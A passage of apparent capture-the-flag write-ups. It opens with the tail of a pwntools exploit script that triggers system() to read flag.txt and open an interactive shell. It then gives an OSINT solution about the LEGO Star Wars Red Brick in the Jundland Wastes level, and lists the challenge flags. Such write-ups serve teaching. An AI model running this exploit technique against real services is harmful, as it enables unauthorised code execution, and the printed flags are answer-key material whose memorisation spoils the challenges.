p.sendlineafter(b"BrickCityOfficeSpace>", payload)

# Step 3: Trigger system("cat flag.txt")
p.sendlineafter(b"(y/n)", b"y")
p.sendlineafter(b"BrickCityOfficeSpace>", b"cat flag.txt")
p.interactive()

Flag

UMASS{th3-f0rm4t_15-0ff-th3-ch4rt5}

Hopefully I can track down this red brick, because if there’s one thing I know, it’s that I hate sand. Flag format UMASS{What_The_Red_Brick_Does}, eg UMASS{Ground_Pound}

Initial Analysis

The challenge description provides several key clues:

  • "Son of a Sith...": A direct reference to Darth Vader/Anakin Skywalker.
  • "I hate sand": A famous quote by Anakin Skywalker from Star Wars: Episode II – Attack of the Clones, strongly associating the location with the desert planet Tatooine.
  • "Red Brick": A collectible item from the LEGO Star Wars video games used to unlock "Extras".
  • Visual Clues: The provided image shows a LEGO Darth Vader in a canyon environment (Jundland Wastes) with a floating Red Brick.

Solution

1. Game Identification

The low-poly aesthetic and the physical presence of a "Red Brick" (rather than the "Datacards" used in the 2022 Skywalker Saga) point to the classic games developed by TT Games, specifically LEGO Star Wars: The Complete Saga or LEGO Star Wars II: The Original Trilogy.

2. Location & Level

The quote "I hate sand" and the environment confirm the setting as Tatooine. Specifically, the visual matches Episode IV, Chapter 2: "Through the Jundland Wastes".

3. Red Brick Function

In LEGO Star Wars: The Complete Saga, the Red Brick found in the "Through the Jundland Wastes" level is located in a hidden area accessible in Free Play mode. Collecting this brick unlocks a specific "Extra" in the Cantina.

Researching the collectibles for this specific level reveals that the Red Brick unlocks the Fast Force ability, which speeds up the animation for Jedi and Sith characters using the Force on objects.

Flag

UMASS{Fast_Force}
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE